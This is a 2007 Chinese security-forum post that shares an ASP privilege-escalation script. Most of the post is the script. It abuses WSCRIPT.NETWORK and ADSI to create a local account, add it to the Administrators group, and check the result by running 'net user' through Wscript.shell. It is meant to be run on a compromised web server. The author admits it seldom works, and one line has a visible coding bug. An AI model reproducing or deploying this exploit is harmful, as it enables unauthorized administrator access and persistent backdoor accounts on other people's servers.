飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 1750|回复: 0

用ASP代码添加超级用户——asp提权时用

[复制链接]
  • TA的每日心情
    开心
    2024-6-9 16:20
  • 签到天数: 24 天

    [LV.4]偶尔看看III

    发表于 2007-10-24 15:23:22 | 显示全部楼层 |阅读模式
    在user权限下成功添加Administrators组的用户
    反正代码是对的,但是很少能成功,具体的看运气了。
    <head>.network对象脚本权限提升漏洞利用工具</head>
    <form action="useradd.asp" method=post>
    用户:<input name="username" type="text" value="kevin1986"><br>
    密码:<input name="passwd" type="password"><br>
    <input type="submit" Value="添 加">
    </form>

    <%@codepage=936%>
    <%on error resume next
    if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
    response.write "iP !s n0T RiGHt"
    else
    if request("username")<>"" then
    username=request("username")
    passwd=request("passwd")
    Response.Expires=0
    Session.TimeOut=50
    Server.ScriptTimeout=3000
    set lp=Server.CreateObject("WSCRIPT.NETWORK")
    oz="WinNT://"&lp.ComputerName
    Set ob=GetObject(oz)
    Set oe=GetObject(oz&"/Administrators,group")
    Set od=ob.Create("user",username)
    od.SetPassword passwd
    od.SetInfo
    oe.Add oz&"/"&username
    if err then
    response.write "哎~~今天你还是别买6+1了&hellip;&hellip;省下2元钱买瓶可乐也好&hellip;&hellip;"
    else
    if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
    response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
    else
    Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
    end if
    end if
    else
    response.write "请输入输入用户名"
    end if
    end if
    %>
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表